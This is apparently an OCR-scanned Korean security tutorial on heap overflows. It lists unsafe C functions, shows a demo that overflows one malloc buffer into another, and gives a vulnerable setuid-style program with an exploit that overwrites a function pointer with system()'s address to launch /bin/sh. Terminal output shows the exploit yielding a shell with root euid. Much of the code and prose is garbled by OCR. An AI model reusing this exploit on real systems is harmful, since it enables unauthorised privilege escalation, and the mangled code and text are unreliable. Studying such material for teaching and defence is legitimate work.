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->  strcat(), strepy(), gets(), scanf(), sscanf(),

vscanf(), vsscanf(), sprintf(), gethostbyname()
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-> strncat(), strncpy(), fgets(), fscanf(), vfscanf(),
snprintf(), vsnprintf()

include
Hinclude <unistd.h>
Hinclude <string.h>

define BUFSIZE 16
deline OVERSIZE &

int main()
1
u_long address_diff;
cvhar =buall - (char =)mal loc(BUFSIZE), =buflf2 - (vhar =)rmalluc(BUFSIZED;

address diff = (u longlbuf?Z - (u longlbufl;

printf("bufl
dress _diff);

#p, buf?2 = Zp, address_diff = Bx¥xbytes~n”, bufl, buf2,

memset (buf2, "A°, BUFSIZE-1), buf2[BUFSIZE-11 = '~8°;
printf("before overflow bufl = Zssn", bufl);
printf("before overflow buf?2 = s n~n", buf2);

rmemsel(bulfl, "B, (u_inl)C(address_Jdifl + OVER3IIZE));

printf(Tafter overflow bufl = Zssn", bufl);
printf(Tafter overflow buf2 = Zs~wn"., buf2);

return B8;
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[testl@whitehat partl$ .- testl

bufl = BxBP49728, buf? = BxBA49748, addrPss_diff = Bx18bytes
before overflow bufil =

before overflow buf2 = AARRARAAAARAAAAARA

after overflow bufl
after overflow buf2

BEBBEBEBEEBEBEBEBEBEBEEBBBBBEBBBBBAAAAAAA
BEBEBBEBAAAAAAA

[testl@whitehat partl$ _

Heap Area

[root@jgy /root]# gcc -o testl testl.c
[root@jgy /root]# ./testl
bufl = 0x8049770, buf2 = 0x8049788, 0x8049770

o
diff = 0x18 bytes buf1 é
before overflow: buf2 = AAAAAAAAAAAAAAA §
after overflow: buf2 = BEBBBEBBAAAAAAA o}
[root@jgy /root]# o
0x8049788 2

buf2 =

-testl &IsZin}

ob# o] ALF L oW ZwL APyt
#HokHS 74 bugfile} bugfile® 7 Ao® Agsid



i1

A EH A gk dEE & Ue exploitdpd o]
AEH T

AL ARSI E wgsiAH HU o

ol = bugfiled A2~JYr},

<stdio.h>
<stdlib.h>
<unistd.h>
<string.h>
<dlfcn.h>

#tidefine ERROR -1

int fucntion(const char =str){
printf("The nomal function pointer calls %s\n",str);
return 8;

¥

int main(int argc, char sxargu){
static char bufl161;
static int(sefuncptr)(const char =str);

if(argc <= 231
fprintf(stderr, "How to using : %s <buffer><function’s
arg>\n"",arguvl81);
exit (ERROR);

¥

printf("system() Address of the fuction = %p\n", &system);

funcptr = (int () (const char =str))fucntion;
memset (buf, B8, sizeof(buf));

strncpy(buf, argvl1ll, strlen(argvi1l));
(void) (s<funcptr) (argvi2]1);

return 8;
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[testlawhifjehat part11$ .- bugfile 18 test2
systeM() Address of the fuction = Bx88483fc

The noMal function pointer calls test?2
[testl@uwhitehat partl11% _
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<stdio.h>
<gtdlib.h>
<unistd. h>
<string.h>
#tdefine BUFSIZE 16

#define BUGPROG ". - bugfile™
#define CHMD "~binssh”

#tdefine ERROR -1

int Main(int argc, char ==argv)
{

register int i;
u_long sysaddr;
static char buf[BUFSIZE + sizeof(u_long) + 11 = {8%};

if(argc <= 1)

i
fprintf(stderr, "Usage: %s <offset>wn", argviBl);
exit (ERROR);

¥

sysaddr = (u_longl&system - atoilargwl11);
printf("Trying system() at Bxxlx n", sysaddr);

memset (buf, "A’,16);

for(i =8 ; i < sizeof(sysaddr); i ++)
i

buf[BUFSIZE + il = ((u_longlsysaddr >> (i = 8)) & 255;
¥

execl (BUGPROG, BUGPROG, buf, CHMD, NULL);
return 8;
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[testl@whitehat partll$ .- exploit 8
Tr¥ing system() at Bx8848408
system() Address of the fuction = BxBB483fc

The nomal function pointer calls ~binssh
[testl@awhitehat partll$ _

[testlauwhitehat part1l$ .- exploit 12
Trying system() at Bx88483fc
systeM() Address of the fuction = BxBB483fc

bash# id
uid=581(test1) gid=581(testl1) euid=H(root) groups=581(testl)
bash#

A5 HAIWA euid 2eA FEE vbF o] S5y
euidet =AM~ A8 Agh & ZAdYH

the end.




